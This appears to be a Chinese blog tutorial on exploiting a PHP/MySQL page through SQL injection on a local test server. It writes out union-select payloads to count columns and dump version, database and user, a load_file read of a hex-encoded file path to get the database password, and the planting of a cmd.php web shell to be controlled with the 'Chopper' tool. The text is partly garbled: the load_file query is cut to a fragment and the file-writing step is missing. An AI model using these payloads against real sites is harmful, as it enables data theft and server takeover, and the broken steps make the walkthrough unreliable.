前提:当前连接数据库的名称必须是root这样才有 load_file 的权限 , 爆出当前文件的目录 , 还有能在phpmyadmin 。只要这几个不满足无法实现入侵
1、 首先找到注入点
http://localhost:8080/hack/demo1.php?id=3’
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in D:\wamp\www\hack\demo1.php on line 11
可以注入的同时暴露了路径D:\wamp\www\hack\demo1.php
2、判断当前查询的字段数
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select 1 //报错
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select 1,2 //报错
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select 1,2,3 //报错
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select 1,2,3,4 //报错
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select 1,2,3,4,5 //正确了
3、 获取数据库名称 , 用户名称 , 版本
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select version(),database(),user(),4,5
版本: 5.5.8-log
数据库名称:test
用户:root@localhost //这里必须是root用户 , 不然会没有load_file的权限
4、 利用load_file获取链接数据库的密码
爆出来的路径是 D:\wamp\www\hack\demo1.php 需要转变为16进制
0x443A5C77616D705C7777775C6861636B5C64656D6F312E706870
C6861636B5C64656D6F312E706870),3,4,5
获取的文件内容
3、 然后访问http://localhost:8080/hack/cmd.php
Notice: Undefined index: cmd in D:\wamp\www\hack\cmd.php on line 1
证明生成文件成功 , 可以直接用菜刀链接了
版权声明:未经博主允许不得转载。http://smister.com/post-11.html